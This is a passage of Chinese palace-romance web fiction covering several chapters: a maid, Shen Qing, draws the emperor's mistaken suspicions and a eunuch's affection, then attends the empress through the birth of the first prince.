然后他必不可免想起去岁的事,于是道:“问问皇后的宫女,她的胳膊好全没。” 钱全忠明白,落后几步到沈青身边。 沈青其实已经听到了,当下便对钱公公露出一个大大的笑容:“奴婢早就好了。” 王定送的金创玉髓膏用完后,胳膊就已经光滑到看不见絲毫痕迹。 龙辇上的黄色账幔从里面看,可以模糊看到外面的情景,见到沈青笑得灿烂,整张脸宛若散发着柔光,为她增色不少,更展现出了她平日藏起来好相貌,轻易就能叫人心生好感。也灵动了许多,对比起见到他时连个微笑都没有,纪宸更確定这姑娘对他没意思了。 钱全忠那张严苛老脸面对她都宽容了许多。 啧。 讨厌的小姑娘,讨好姓钱的太监有什么前途? 纪宸短短一个时辰内,心态变化了两次,或许就如后宫嫔妃所言,他本就是一个多变的男人。 除了一如既往的喜好。 事实证明,讨好和王積贵同等级的太监可太有前途了,两日后,皇后让沈青去乾清宫给皇上送汤,钱全忠就幫了她大大一个忙。 暑天,嫔妃给皇上送的汤已经变成了冰镇过解熱降气的酸梅汤。 因后宫早早便兴起给皇上送汤的缘故,乾清宫面对这么多宫人和喝不完的汤水,门槛也变高起来。 这日,沈青便不巧被德妃身边的宫人枇杷缠住了。 枇杷也是来替德妃送汤的,亦是大宫女的身份,见沈青畅通无阻,当下便不满起来。以德妃的地位,确实有资格和皇后对上。 而面对枇杷,沈青不但不能退缩,还得让看到这一幕的宫人知道皇后永远压在德妃上面。 话语权之争,向来如此。 皇后与德妃对立,她们坤宁宫的宫人就要与永寿宫的人势不两立。 沈青的嘴皮子利索,丝毫不怵,笑意盈盈便将枇杷压的哑口无言,正当她要和带路的乾清宫小太监进去将汤交给皇上身边负责此事的人时,枇杷手一松,佯装双手拿不稳,汤就向沈青的方向泼去。 只是表演的太假了,一眼就能叫人看出她的真实意图。 然而,沈青反应不过来,见汤往自己倾斜过来的那一秒钟,她的脚像被定在了地上一样,大脑一片空白。 她最喜欢的就是这身衣裳了,水蓝水蓝的,穿着似乎夏天就不热了,且还是皇后赏她的好料子做的。 天杀的枇杷! 千钧一发之际,钱继不知从何处出来,腿脚利索便是飞起一脚,将端着酸梅汤的托盘连汤带碗的原路还了回去。 枇杷被淋成落汤鸡,浑身酸酸的。 酸梅汤的气味散发出来,沈青馋了,决定回坤宁宫再喝一碗。 而钱继干完事,拍了拍两只胳膊上的灰尘,冲沈青眨了眨眼,道:“两位姐姐要小心啊。” 幸好他逆转了一场糟糕的意外。 沈青简直要乐死了,枇杷自食恶果,偏偏钱继是御前的人,论资排辈还唤了她们一声姐姐,更没法计较了,于是只能恨恨转身就走。 钱继深藏功与名,回到钱全忠身边,沈青这才发现,钱全忠不知何时站在了那儿,大概目睹了她和枇杷争执的全过程,后来又授意钱继幫她。 钱继谁的话也不听,只听钱全忠和皇上的。 帮她的是谁一目了然。 沈青冲钱全忠盈盈一拜:“多谢钱公公。” 钱全忠道:“快些进来吧,皇上正等着喝皇后送的汤呢。” 这当然是场面话,皇后不是每日送汤,即便送来了,皇上喝的次数也寥寥无几,沈青能次次将汤送达,是皇上在给皇后脸面。 沈青更感激了。 然而进去后,她却罕见地见到了皇上。 一般沈青来乾清宫送汤,目的自然是见王定,皇上进后宫或去皇后那里,少有带王積贵一脉的人,王积贵他们更多时候留守乾清宫。 平常她将汤递给接收的太监,然后趁机扫一圈王定在哪儿,运气好,还能打个正面,说上几句话。 但这次,大抵是皇上等着喝酸梅汤,领沈青的太监直接将她带到了皇上面前。 沈青见情况不对,立刻低眉垂眼,一副谦虚恭顺的老实模样。 第36章 第36章宫女三十六日 纪宸未抬头,沈青只能出声:“参见皇上,奴婢奉皇后娘娘之命来为皇上送酸梅湯,皇上现在要喝嗎?” 纪宸合上奏折,这才发现来人:“饮一些吧。” 然后记起是他吩咐钱全忠,说若是皇后的人来,直接领到他面前。 沈青将湯碗放下,用有手掌大小的羹匙行云流水盛出一些到碗中,然后递到纪宸手邊。 皇帝身邊的太監上前验毒,须臾后悄无声息退下。 纪宸这才端起碗慢慢喝。 自那日从后宫回来后,他便隐隐覺得有疑点,这宫女如果真如她所行事的那般没有接近他的心思,那每次坤宁宫送湯为何总是她? 皇后身邊的大宫女足有四位,送汤既荣耀又轻松,应是惹人艳羡的好差事,不至于不吸引其他三位大宫女。 可偏偏,沈青却牢牢霸占住这项差事。 为何? 送汤虽然见到他的机会少,但又不是没有,一些不得宠的嫔妃常愛派貌美的宫女过来就是佐证,父皇那时,因此机会将宫女纳入后宫也不是没有。 只不过纪宸不愛此事,那些宫女也入不了他的眼。 既是来御前送汤,纪宸很难不将沈青的目的往自己身上想。 所以,他不靠谱猜测,这个宫女是喜欢他的,但藏的足够深,这种手法更像是一种欲擒故纵。 他在先昭贵妃身上见过,昭贵妃便是如此勾勾缠缠将父皇的心给笼络住了,看似漫不经心,实则步步都是算计。 想明白后,纪宸不免意兴阑珊,心底有点高兴,但这情绪又浅又快,还不待他抓住就没了。 更多则是覺得他自己果然智慧,不愧是天生当皇帝的好料子,将宫女的一切心机都勘测明白,讓她的想法胎死腹中,不叫她兴风作浪。 沈青对纪宸所想的一无所知,她盯着自己的鞋面默默发呆,只希望皇上赶紧将汤喝完,她开口告退。 乾清宫伺候的人都轻手轻腳的,自她进来以后,宫人像是演了一場无声的默剧,现在皇上喝汤既无声,也不发话,更讓人觉得空气都稀薄了不少。 还好皇后对她历练的够多,这种場面,能稳住。 而她若知道皇上心里在想什么,大抵只会吐糟他的自恋。 如果她会欲擒故纵,使用的对象只会是皇后,讓皇后对她百依百顺,职场舒适度直接提升一个层次好嗎。 想明白后的纪宸,便没了再留沈青的兴趣:“退下吧……等等,下次皇后派来御前的宫人换一个。” 沈青闻言头脑发懵,不知道她怎么惹了他,如果不主动来乾清宫,见到王定的次数就屈指可数。 她和王定关系密切,又可能因为她身为家中长女,弟妹有四,却无一兄姐,便忍不住将王定当哥哥了。 然而再好的关系也需要经营,长久不见,沈青也不确定她和王定会不会变。 沈青心里不爽,但仍行礼称是,后退出殿内。 纪宸察觉到沈青那一瞬间未遮掩好的沮丧,在更肯定心中猜测的基础上,不自在微微阖眼。 倒像是他欺负小姑娘似的。 这不是防患于未然么。 今日除了在皇上那里,沈青的运气还算不錯,出了殿门便遇见了王积贵和王定。 王积贵使了个眼色,讓沈青与王定有了独處时间。 沈青虽然悲伤,但还是笑着道:“我以后不能来御前见你了,皇上不满意我。” 她低头踢了踢腳,顺风顺水这么长时间,一切都那么平稳,这一遭对她的打击不可谓不大。 王定低头问:“那你身上可受伤了?” 沈青摇了摇头。 “别怕,那便无事,总让你来御前寻我,其他太監看见该打趣了,以后皇上有什么差事到坤宁宫,我去求一求幹爹,求他让我去。” 沈青一眨眼,那一滴泪就猝不及防出来了,她说鼻子怎么酸唧唧的。 王定的话更让她有点失控。 沈青:“给你添麻烦了。”乾清宫的事务流程可比坤宁宫严格许多,况且有两位大公公斗法,去求王积贵,王积贵恐怕也为难的很。 王定伸手,用指腹将沈青溢出的眼泪抹掉:“我们兄妹,麻烦二字从何谈起?” 沈青心中感动,控制住难过情绪,上前抱住王定腰身,然后又飞速松开:“谢谢哥哥。” 她的小臉仰起,因为哭过,整张臉泛着粉,眨巴着眼睛,乖巧又可爱。 事实也如此,在王定心中,没有谁比沈青还出色。 于是他道:“哥哥送你几步。” 沈青和王定往出乾清宫的方向走去,走的远了,在檐下的王积贵便看不到两人的唇语。 王积贵默然,叫人看不出思绪,心里想的却是缘何他不是小宫女的哥哥。 不然今天就是伏在他的肩头哭了。 什么玩意的幹爹,不过是玩笑之称,一点都做不得真。 怡和殿嫣婕妤處。 用最喜爱的瓷器将两名宫人陷害进慎刑司后,嫣婕妤这才眉眼舒展,星羅在用御医调的药膏轻点在嫣婕妤臉上的两点瑕疵处。 嫣婕妤心知惠贵嫔,现在的林嫔不是对她下药的人,当日不过本着既然已经得罪了林嫔,不若一不做二不休将那事栽到她身上的想法,出口意指林嫔。 但事后,嫣婕妤也没有忘记查是谁暗害自己。 林嫔有问题的可能性很小,因为当日林嫔的宫人不过是一时起意折辱于星羅,想打她的脸,不确定她会不会佩戴香囊。 心知她会佩戴的只有身邊的几个宫女,于是她让星罗查看了她用的东西,发现少量的粉末残留,又暗中观察宫人,终于让她逮住了做手脚的那两名宫人。 自然并非以下毒的名义定罪,不然林嫔知道该闹着喊冤了。 既然得罪到底,嫣婕妤自然不会给林嫔翻身的机会。 于是她只能拿花瓶故意构陷,只是此举,就查不到宫人身后的人是谁了。 现下嫣婕妤数着后宫嫔妃,瞧谁都觉得是想毁她容貌之人。 那粉末起作用的前提是受伤,但宫中多的是不小心。 六月一过,七月宫中又要大摆筵席。 因今年酷热难耐,宴席便在湖边举行,凉凉湖风,倒不叫人觉得心烦气躁。 此外,宫中又发生了一件大事,何才人有孕一个月。 何才人受宠的次数不低,但也没有嫣婕妤、楚贵人、玉嫔多,甚至还逊色于陈美人和兰婕妤。 偏偏就是她怀孕了。 皇后本来犹豫是否出席宴席,何才人的好消息传来,她的心反而定了。 有何才人吸引目光,那些嫔妃对她的关注也会少一点了。 只是,皇后抚着肚子,这一胎一定要是皇子,不然让何才人生下大皇子,那才是真正的丢脸。 只要一想到那种情景,光是德妃的目光就让她晕眩。 且何才人暂时无法承宠,需得在嫔妃中再選一人来争宠,只是这人選却一时无法敲定。 玉嫔地位稳固,无需她递橄榄枝,楚贵人投效德妃,宣贵人宠爱不多且她也膈应,嫣婕妤无意投靠谁,更想自己立起来,陈美人与兰婕妤便是她见了都头疼,郑才人是个墙头草,李美人天生德妃阵营。 人选只可能从蒋才人和章才人里面选。 等到宴席那日,皇后一见到侍奉在太后身边的蒋才人,便知道选择只剩章才人。 章才人娇俏可爱,性子却过分单纯,皇后心中并非属意她的。 这顿宴席,皇后吃的无滋无味。 沈青这时却不在皇后身边,她和芰荷回坤宁宫去给皇后取东西,芰荷塞给了她张纸条,张唇未发声说了三个字:王公公。 沈青颔首,与芰荷分别。 时间一长,她差点忘了芰荷是王积贵的人。 只是不知道这个王公公是王积贵和王定。 纸条上的地方在离此处不远的假山,与热闹的宴席一条幽径相隔,鲜少有人来这边。 沈青抬脚往那个方向走过去,见光线暗淡,便将手中的提灯点着。 暖光映着前路与她身前,入目发丝都似乎渲染出光。 沈青到时不过停留了一会儿,正摆弄着她的宫灯,王积贵便出现了。 她抬头,惊讶,而后声音糯糯道:“干爹。” 叫的很没底气,当时攀关系仗着身边有人,现下光线昏暗,这里又只有她和王积贵,总归是不自在的。 “不要叫我这个。”太奇怪了。 看吧,沈青趁其不注意撇了撇嘴,郁闷道:“王公公?” 王积贵听出沈青的小脾气,无奈,但更多的是对沈青之后反应的期许。 “你许久没来御前了。”他幽幽道。 沈青点头,不过后来皇上身边的人到坤宁宫找皇后,十次有八次都是王定,她就不计较此事了。 所以呢?她倾耳。 王积贵:“我用闲暇时间,给你雕了一支玉簪。” 他将手中握着的簪子拿出来,放到沈青眼前供她查看。 沈青眼睛微微睁大,不可思议地低头凑过来,进宫久了,她也见多识广起来,王积贵用的这块玉料非常好,上面簪头的绿浓得快要滴出来,且簪身是过渡地很好的白玉,且是灵芝样式。 能看出雕簪子的人手艺颇好。 沈青眼神都柔了不少:“好漂亮,王公公的雕工真好,是从小练的吧?” 王积贵的视线温柔地落到沈青的脸庞上,一点点啄过她的眼皮鼻子朱唇:“第一次雕的,毁了不少玉料才得出这么一根玉簪。” 沈青目光震撼,第一次?真不是人! 人的天赋怎么能好成这样?她最嫉妒天才了。 沈青笑吟吟道:“完全看不出,真的要送给我吗?” 她对这个玉簪怎么看怎么喜欢,但也是要客气一下的,但凡现在王积贵点头,她就立刻不带犹豫地收下。 小宫人的目光讨喜,像是会说话一般,就这么直直看向王积贵,唇边的笑容也是那般发自真心的。 王积贵将玉簪插进沈青的发髻中。 沈青安静垂首等待,等王积贵收手,站直身好奇摸了摸,然后原地转了一圈,衣裙随之起舞,像伴着光翩跹的蝴蝶。 她追着叠声问:“好看吗好看吗?” 声音又娇又软。 暗处不知看了多久的人惊疑不定,两种情绪同时涌上心间,衣袍上金灿灿的龙爪暴露了他的身份,正是纪宸。 纪宸此时撞上王积贵和沈青的相会,尴尬让他脸庞微红,头都要冒气了。 这宫人压根不是欲擒故纵,反而是借着往乾清宫送汤的时候与王积贵私会,跟他压根没有半点关系! 深深的无地自容袭上心头,这种情绪是这二十年来从未有过的。 所以他也恼羞成怒了,明明有他这个文武双全神俊无俦至高无上的人在,小宫 女什么眼神,居然看上王积贵。 不期然想到一句话,宫女配太监。 什么宫女配太监!因为幼时撞见过不光彩的场面,纪宸对这种说法最是深恶痛绝。 他不希望身边的人这么干,钱全忠和王积贵一直都很干净。 如今后者却栽在了有两副面孔的宫女身上。 王积贵可恶,沈青也可恶。 唯独会錯意的他反倒没什么错处。 纪宸真心实意这么想,如果他不再继续脸红的话,兴许能掩盖过去。 第37章 第37章宫女三十七日 纪宸在宴席上喝了几杯酒,他酒量不错,没什么醉意,因不耐烦嫔妃在宴席上争宠的话术,便帶着錢继,拎着一壶金樽镶红宝石的酒出来散散心。 錢继说这里幽静,少有人在,他便走到了此处。 刚走到没多久,就发现沈青提着宫灯缓缓走来,因他夜视能力不错,便没讓人打灯,身邊又只有錢继一人,一明一暗下小宫女自然没发现他。 若按照纪宸平日的行径,必会叫錢继将人赶走,但或许酒意上来了,他只迟钝地用手伏在假山的石头上,并未出声。 灯下观美人,即便他不钟愛沈青这种柔弱如蒲柳之姿的美人,也觉出了些惊艳。 就像嫣婕妤虽妩媚动人,但实在不是他素来喜愛的,因其绝色,便不会生出恶感,反而还有新鲜感,给她以宠愛。 沈青亦然,她虽没有佩戴任何贵重首饰,穿的也是宫女制式,身上无一件东西能烘托她的气质,将那种袅袅娉娉的韵味烘托到极致,但仍能看出是美的。 然而,因为沈青是宫女,嫣婕妤是他的嫔妃,这就导致纪宸对两人的态度截然不同。 他不想纳宫女,或者说将尊卑分的明明白白。 纪宸玩儿的转君臣,聚得了皇权,既当皇帝,自是唯我独尊的。 太后是他的母后,不能拿来说,但在他心中,皇后甚至都不配与他站在一起,嫔妃和朝臣居于他之下,更不必说宫女了。 这种想法外化成了他威仪的气势,淡漠的性格,说的朴素一点,就是不将任何人放在眼里,偏偏长的人模狗样,讓人觉得皇帝合该如此薄幸冷情。 纪宸不出声,钱继自然当个哑巴。 这时的纪宸还在想,沈青不会是来偶遇他的吧,他记得沈青明明是和另一名大宫女離开宴席,现在却又独自回到了这里,很难不讓他有想法。 不过他很快就否认了这一想法,因为王积贵出现了。 王积贵含着淡淡的笑,跟在乾清宫当值时很不一样,衣裳是新换的,上面的暗绣处处透着心思。 纪宸皱眉,王积贵与沈青认识? 这时他还在想,沈青是否是王积贵埋在后宫的一枚棋子。 然而,很快,他又想错了,仿佛他在关于沈青的事上处处失利一样,王积贵的目光是那样温柔迷醉,比他这个喝了酒的人都要沉醉。 纪宸明白了,王积贵喜歡这个小宫女。 所以特地寻今日空暇在这里私会,但刚开始时两人透着拘谨,说明他们之间还未点破,沈青的目光也还透着懵懂无知,像没开窍的少女模样。 即便在收到王积贵亲磨的玉簪,眼中的喜爱也全是对着玉簪去的,王积贵仿佛才是連帶。 之后的转圈展示美貌,表现出的正是对自己相貌的笃定,所谓好玉配美人,唇邊恰到好处的小骄傲更是讓人忍俊不禁。 但纪宸笑不出来,如果是其他时候,他一定好好欣赏。 而不是这个时候,身体好像被分成了三部分,极其冷静的大脑,羞赧的表情,砰砰乱跳的心脏。 他仍在冷静分析现状,但控制不住从头到脚的羞耻,以及面对沈青歪头问王积贵那两道叠声的好看嗎,而心跳乱了一拍。 不过一支玉簪,就值得她软着声音说出撒娇般的话语? 故作惹怜! 这种时候,纪宸理應过去撞破二人,或带着钱继離开,但偏偏脚底像生根一样,他选择继续偷窥。 整个皇宫都是他的,皇帝做的事能叫偷窥嗎?这分明是正大光明。 但如果钱继敢露出半分声响,让素来谨慎的王积贵发现他们在这里他就死定了!- 宫灯横在沈青和王积贵中间,沈青正等着王积贵回答。 王积贵轻声道:“好看。” 然后伸手拂过沈青额前因风微微凌乱的发丝:“玉很配你。” 沈青笑得合不拢嘴,眼睛弯成月牙,他说的玉配她,而不是她配玉,天然就把她放在了比玉还好的位置上。 不过她也是要谦虚的:“哪有你说的那么好。” 如果不是这句之后沈青美滋滋地咯咯笑了两下,或许会显得羞涩含蓄。 王积贵无奈笑着。 沈青伸手将王积贵簪歪的玉簪飞速调整,十分自然问:“我身上好像没带什么礼物,你能在这里呆多久?” 她四下瞟着,就地寻找着材料,想给他做一份礼物还上心意。 王积贵:“宴席结束。” 沈青说着那就好,眼疾手快从地上揪了好几条长长的草,将宫灯放到地上,她也随之蹲下:“你喜歡什么?貓还是狗,我比较喜欢貓。” 王积贵看出沈青的意图,她会草編,于是在深深望了一眼沈青圆润可爱的发髻后道:“软乎乎的兔子,可以做嗎?” “包在我身上!” 做到一半,沈青手艺生疏,手指缠啊缠,尴尬道:“胖兔子可以吗?” 王积贵泄出些许笑意:“可以。” 沈青脸一红,不好意思弥补道:“这个作为补偿,我可以再给你編一只兔子。” 王积贵也商量道:“胖兔子就很好,另一只可以編成貓吗?” 沈青格外爽快:“我最擅长的就是編貓了,世界上怎么会有猫这种萌物!” “我觉得兔子可爱。” “都……都可爱!” 万万没想到,王公公还怀揣着少女心,沈青觉得,她和对方更有话题了。 王积贵一点都不像她想的那般凶残,反而,人还挺好的。 王定在他手下,过的應当很舒服。 沈青将胖兔子编好,放到王积贵的手心,而后又揪了草来,认认真真编小猫。 胖兔只是练手,憨态可掬的小猫才是她的真本事。 “送给你啦。”沈青将绿色的小猫放到王积贵伸出来的手中,“我编的应该不容易散架,放个一两年是没问题的,当然,玩儿过后扔了也可以,反正是些草编的。” 小猫身上带着余温,在掌心上温感明显。 王积贵将手虚虚拢住:“特别可爱,不会扔。” 他后半句话说的很轻。 沈青拍了拍手,抖落草屑,提上宫灯,只听到说特别可爱,便已经值得她开心笑起来了。 她听着宴席那邊的动静不若方才热闹,便猜到是有主子离席了,气氛才降下来。 “时候不早,我得先离开了。”沈青朝王积贵服了服身,见他没有拒绝的意思,便照例挥了挥手,这才转身去找芰荷。 等到持灯的倩影再也看不见,王积贵收回目光,离开此地。 暗处的纪宸情緒早已平静下来,手指轻点,恢复了让人瞧不出喜怒的淡然模样。 观察地久了,他怎么会没发现,这完全是王积贵一厢情愿,沈青压根不接招。 或者说王积贵也没想点破,维持这般联系。 等到两人都走,纪宸也觉得没意思透了,让钱继对今日之事守口如瓶,并未回到宴席,便直接登上龙辇回乾清宫了。 此后几天,钱继被纪宸数次派去盯梢王积贵在干什么。 对于主子的吩咐,钱继只能称是,且因为有那一晚和皇上的遭遇,他明白皇上想知道什么。 于是报给皇上的,无非两件事,王公公在忙,王公公在把玩草编兔子、草编小 猫。 这似乎更印证了纪宸所想的,心中淡笑,王积贵一厢情愿,实在不足为虑。 至于不足为虑什么,纪宸可能也未深想。 后宫中何才人有孕,永寿宫中李家姐妹坐在一起说话,身边唯有石榴在侍奉。 李美人不明白:“姐姐,咱不去害何才人都已经是善良了,为何要出手帮何才人保下这一胎?” 德妃温言道:“因为姐姐觉得,何才人和她腹中胎儿一直无恙,咱们这个皇后才会多思多虑。” 李美人蹙眉:“皇后再有几个月便要生產了,何才人再怎么着能比皇后生得还早吗?” “糊涂。”德妃毫不留情呵斥,“皇后肚中是男是女还未确定,在未產下皇子之前,她能心安吗?且何才人有孕,皇后却未凭借此功让皇上给何才人提一提位份,由此便可窥见一二。” “保下何才人,说不定能抢了皇后心心念念的大皇子之位,何乐而不为呢?” 李美人恍然:“那姐姐,若是皇后生下公主,皇后会对何才人出手吗?” 德妃想了想,她也不能给出确凿的答案:“现在的皇后連我也看不透了,比是妃子时更会装模作样,或许会,或许不会。” 李美人垂眸,若有所思- 坤宁宫中,伺候皇后慢慢变成了一件苦差事,八月的时候,皇后的肚子已经相当大了,即便稳婆说会在十月时生產,但瞧那样子,像是会随时发动一般。 自然,皇后的脾气也变得捉摸不定起来,芰荷都深感棘手,唯有沈青,仍让皇后感到满意。 这日,皇后又烦闷起来:“沈青,你说本宫这胎是男是女?” 沈青真诚回答:“最有经验的稳婆说是位皇子,御医把脉也说大概是男孩,娘娘虽梦到公主,但常言道,梦是反的,所以奴婢觉得,定是位皇子。” 皇后焦虑,沈青只能从方方面面佐证怀的是皇子,让皇后稍稍舒心,不然走到死胡同,那才是郁闷死了人。 现在最重要的是将孩子平安生下,但皇后不喜欢听这句话,只喜欢别人笃定告诉她,她怀的是皇子,她会为皇上生下皇长子。 至于后面若是生下来是位公主,沈青觉得左不过被皇后责罚一顿。 不过那时,都生完了,皇后情緒应该会稳定,能明辨是非,届时,她逃过一劫也未可知。 沈青分神想着,奸臣宠臣大抵就是她这样,只说好话,只说上面爱听的。 不过,奸臣亦是那个祸害遗千年的,她的命应会很长。 皇后听完后呼吸都有序了,她认为沈青说的很对,如果顺利产下皇子,她要重重地赏沈青黄金! 不过沈青这般聊以慰藉的安抚没持续多久,九月份,皇后在坤宁宫消食散步时摔了一跤,羊水提前破了,被宫人很快送进早已准备好的产房。 稳婆、太医接连就绪。 皇上也自下午收到消息便撂下政务,到坤宁宫坐镇,之后太后和德妃赶到。 太后身边,一位素衣女子扶着她,正是賢妃。 到坤宁宫的新妃好奇望去,心中对其身份有了些猜测。 纪宸只一眼便收回目光,皇后生产完,确实到了賢妃解禁的时候。 贤妃如果不对皇后下手,凭着他们的亲缘关系,如何会如此重罚贤妃? 贤妃还是太没规矩了。 不过,纪宸左右望去,好似没见到那小宫女的身影。 沈青此时正陪在皇后身边,一边盯着产婆手上的动作,一边安慰皇后,让她保持清醒。 皇后哀哀地唤着沈青的名字。 沈青镇定自若握上皇后的手:“奴婢在。” 越是这个时候,越不能出差错,且妇人生产,几个时辰是打不住的。 第38章 第38章宫女三十八日 沈青知道生孩子是趟鬼门关,但这么旁观皇后生产,看着她一阵阵叫痛,已经是痛不欲生,却被告知宫口开的不够大。 不单皇后緊皺着眉头出汗,沈青自己也是一身冷汗,最里面的里衣湿濡地貼在皮肤上。 她不可避免慌起来,又强迫自己镇定。 皇后此时像被从水里捞出来的一样,额头上的汗也怎么都擦不干净。 沈青握着皇后的手已经有点打滑,但她们两人各自用力将手緊紧握在一起,皇后依赖着沈青,唯有这样,方能感到安定,沈青亦是怕的,不自觉就握紧了,仿佛在汲取力量。 皇后是早产,发动的并不順利,太医给皇后开了催产药,沈青和青古两人服侍皇后喝下。 然后讓皇后含住参片,以此来存力,不至于生产途中没有力气。 催产药很快起了作用。 皇后忽高忽低的呼痛声不断在屋內响起,产婆大声指挥着皇后該怎么样,然而皇后不得其法,产婆着急,皇后痛苦。 沈青同样焦急,但没有办法,生产没有技巧,皇后只能苦熬过去。 她能做的唯有在皇后耳畔话大饼,她每说一句,皇后眼中的光便多一分,知道奏效后,沈青说得口干舌燥,描述地天花乱坠。 她一心扑在皇后身上,再听到产婆的话便是:“见到头了!” 屋內眾人顿时振奋起来,沈青也不例外,眼睛一亮,皇后听到好消息则是眉头骤然一松。 产婆连忙又道:“皇后娘娘用力,这种时候不能松劲儿!” 沈青连忙唤皇后:“娘娘!” 好在很快,沈青感受到皇后握她的手劲儿骤然增大,眉头眼睛皺在一起,银牙死死咬住,毫无优雅端庄可言,但就是这副模样,却讓沈青打心底的高兴,因为皇后的力气续上了。 一直折騰到半夜,沈青的心情随皇后起起伏伏,直到两声:“生了生了!”心头才骤然一松。 紧接着,便是不可思议,她真的见证了一个的孩子的诞生。 沈青的心情放松,皇后却心里一紧,巨大的疲惫几乎要将她淹没,但她死撑着等下一道声音。 沈青很快意识到皇后的想法,也朝产婆的方向望去。 只见产婆利索将剛出声的嬰儿检查了一番,扬声道:“是位皇子!”便用准备好的水洗干净,接着重重一拍嬰儿。 婴儿声嘶力竭的哭声响彻周围。 眾人俱是一片喜意。 产婆再次道:“是位健康的皇子!”这才将手里的皇子放进明黄的包被里,然后抱着走到皇后身边,矮身讓皇后来看。 沈青视线随之移动,剛出生的婴儿本該是皱皱巴巴的小猴子,但这孩子的皮肤却很光滑平展,能看得出生得好,孩子略大,怪不得生得那么艰难,若是足月,那更不敢想了。 她对是公主还是皇子没什么在意,无论如何,只要皇后平安。但因皇后在意,沈青便为她真心实意感到高兴。 这个结果,皇后也算得偿所愿了。 再一看皇后,她的嘴唇泛白,望着她的孩子,生产都不曾哭的人眼里流出道泪,百感交集。 皇后不知道说什么好:“沈青,他真的是皇子。” 沈青立刻肯定道:“没有错的,娘娘,您生下了大皇子!” 皇后心满意足闭上眼,她需要休息,稳婆便将小皇子抱出去,给外面等着的人报喜。 芰荷和萱草随之出去照看小皇子,沈青和青玉青古则留下来陪着倦怠的皇后。 即便一直折騰到深夜,屋外坐着等消息的众人还没有一个離开。 房内皇后的声音消失,纪宸似有所觉抬头,不久后产婆便抱着一个婴儿向他道喜。 “恭喜皇上贺喜皇上,皇后产下了一名皇子!” 纪宸伸手抱过来,倍感新奇,他对众人宣告道:“这是朕的大皇子。” 然后吩咐:“宫内所有人,赏三个月月奉!” 太后亦露出一抹笑,孙辈添人,即便她再不喜皇后,也对这个皇孙生不起恶感。 纪宸抱了抱便将大皇子交给了太后,太后比纪宸有经验,姿势看上去都比纪宸的更让婴儿舒服。 果然,包被中的大皇子动了动眼皮,安然睡了过去。 身旁的嫔妃一个两个都带上了笑容,似是很为大皇子的到来感到高兴,德妃贤妃亦不例外。 夜渐深,太后熬不住,纪宸便将大皇子交给坤宁宫皇后的貼身宫人,然后让人将太后送回慈宁哥,他回乾清宫,宫妃便也三三两两散了。 除了何才人仍留在坤宁宫偏殿,她有孕,在刚到坤宁宫时,便被宫人引到偏殿休息,夜深也没再挪动。 等何才人醒来时,已是第二天,贴身宫女告诉她皇后生了位皇子。 在收拾梳妆时,何才人看着铜镜中的自己,试着让嘴唇弯出喜气洋洋的弧度。 若是公主该多好,她的孩子便有望成为大皇子。 可无论心里怎么想,何才人都不能表现出来,还得真心实意祝贺皇后产下皇子,这样才真正对她有利。 皇后生产后这一睡就是到了下午,何才人没有離开坤宁宫,等着皇后起身后,她才去请安。 现下何才人有孕三月,身形还没有开始变化。 皇后仍坐在床上,醒来看过自己历经千辛万苦生下的皇子后,听到何才人求见她,心知何才人抱着什么心思,便也没拒绝。 果然,何才人出现后,便开始向她贺喜,明里暗里对她表忠心。 皇后轻咳了一声,忍着喉咙的痒意对何才人道:“你有孕,才人的位份实在委屈你了,合该升一升,但这几个月本宫精力都放在孩儿身上,分不出心力向皇上求一份恩典,你可怪本宫?” 何才人惶恐道:“嫔妾怎敢,嫔妾日日都盼着娘娘順利生产,没有娘娘的扶持,嫔妾又如何有得皇上垂青的运道呢?” “本宫便是这一说,你的为人本宫还是清楚的,莫要惊慌,你还懷着身孕呢。”皇后微露责备,恼怒她一惊一乍,不顾身子。 何才人情绪渐渐平息:“多谢皇后娘娘垂怜。” 一番敲打后,何才人从坤宁宫告辞离开。 皇后盯着何才人的身影,直到看不见后才没再压制,剧烈咳嗽起来。 沈青见状弯腰抚着皇后的背部,一下一下的顺。 皇后懷孕时便染上了咳疾,根源自是刚怀孕时饮的那两口毒羹,怀孕时,皇后为了胎儿的健全,没有喝治咳疾的药,现下生产完也才不到一天,自然没找太医医治。 但看青古的意思,拖来拖去,这咳疾恐怕没那么容易好。 皇后听到后不太在意,以一个不伤身的咳疾换整个孕期的平安,还是值的。 待到咳完,皇后神情纯粹:“沈青,本宫真的好开心,本宫赌赢了一位皇子。” 这是多大的幸运,让她生下了嫡长子。 沈青微笑道:“奴婢也开心,娘娘日后定会一番风顺。” 皇后:“本宫曾对你说过,如果生下皇子,本宫便要赏你黄金。除此之外,本宫还想再给你一份恩典,若有什么心愿,本宫亦会满足你。” 皇后的目光真诚,不掺丝毫假。 沈青意动,犹豫道:“奴婢想求一份恩典。” 皇后鼓励道:“你说。” 沈青便道:“奴婢想去大皇子身边照顾大皇子。” 皇后眼睛睁大:“为什么想离开我……” “……不是,为什么要去皇儿身边?他就是个什么都不懂的奶娃娃。” 正是因为皇子什么都不懂啊,沈青违心道:“奴婢喜欢孩子。” 皇后恍然大悟,接着很快想到什么:“小事小事,皇儿一直住在坤宁宫,这跟往常也没差。” 有一个全然为了皇子的人在,皇子的安全才更有保障。 沈青唇边翘起一抹笑,生产完的皇后好似与她交心了许多,往日她们上下分明,现在皇后居然有心和她闲话,说到最后连本宫都不称了。 但即便如此,她还是想去皇子身边,因为轻松,伺候一个小孩,不用时时刻刻板着身体,低眉顺眼的。 不然长久下来,真就奴颜婢膝了。 沈青不希望有一天她会迷失自己。 皇后的调配下达的很快,沈青的住处搬去了皇子的隔壁,她只用大方向照看皇子,甚至不需要抱一抱哄一哄,因为有专门的奶嬤嬤在。 且奶嬤嬷和大皇子身边的宫人是听她的话的。 而且大皇子是皇上膝下唯一的皇子,又是中宫所出,地位肉眼可见的稳固,沈青的地位自是水涨船高。 现下别人都要称她为姑姑了。 没有磨人的皇后在,沈青的精气神肉眼可见的增长,最明显的便是唇边常在的那抹闲适笑容。 沈青不和旁人比,就和青玉比,她是既没有青玉的操劳,也有青玉的地位在。 除此之外,剩下的烦恼便也不足为惧了。 因她还是坤宁宫的人,她听到的仍是皇后的心声,以及大皇子是圣上唯一的孩子,皇上冷不丁就会出现在大皇子住处,令人防不胜防。 因为曾被皇上嫌弃过,沈青其实是不想出现在他面前的,谁知又怎么惹了对方。 但她的职责所在,不能不在皇子身边啊,所以皇上出现的时候,她不是盯鞋面,就是盯皇子。 至多向皇上行礼时出个声,此外,就当自己不存在。 更遑论与其对视上了。 “茶。”这日,纪宸又溜达到大皇子处,皇后为了让皇上和皇子培养感情,更是大开方便之门。 逗弄了一会儿皇子,他如是说道。 